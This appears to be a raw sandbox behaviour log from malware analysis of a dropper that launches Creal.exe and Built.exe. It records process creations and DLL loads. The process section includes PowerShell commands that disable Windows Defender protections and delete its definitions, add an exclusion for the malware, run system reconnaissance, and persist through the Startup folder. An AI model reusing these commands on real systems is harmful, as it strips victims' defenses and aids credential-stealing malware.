Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl ifconfig.me
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Process created: C:\Users\user\Desktop\Creal.exe "C:\Users\user\Desktop\Creal.exe"	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Process created: C:\Users\user\Desktop\Built.exe "C:\Users\user\Desktop\Built.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Process created: C:\Users\user\Desktop\Creal.exe "C:\Users\user\Desktop\Creal.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Built.exe	Process created: C:\Users\user\Desktop\Built.exe "C:\Users\user\Desktop\Built.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built.exe'"	Jump to behavior
Source: C:\Users\user\Desktop\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\Desktop\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl ifconfig.me"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Built.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl ifconfig.me
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe"
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl ifconfig.me"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl ifconfig.me

Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Built.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Built.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Built.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Built.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Built.exe	Section loaded: python3.dll	Jump to behavior
Source: C:\Users\user\Desktop\Built.exe	Section loaded: libffi-8.dll	Jump to behavior
Source: C:\Users\user\Desktop\Built.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\Desktop\Built.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Built.exe	Section loaded: libcrypto-3.dll	Jump to behavior
Source: C:\Users\user\Desktop\Built.exe	Section loaded: libssl-3.dll	Jump to behavior
Source: C:\Users\user\Desktop\Built.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Built.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Built.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Built.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Built.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Built.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Section loaded: libffi-8.dll	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Section loaded: libcrypto-3.dll	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Section loaded: libssl-3.dll	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Creal.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\curl.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\curl.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\curl.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: mpclient.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: secur32.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: version.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: msasn1.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: userenv.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Section loaded: libffi-8.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Section loaded: vcruntime140_1.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Section loaded: libcrypto-3.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Section loaded: libssl-3.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Section loaded: sqlite3.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\curl.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\curl.exe	Section loaded: rasadhlp.dll
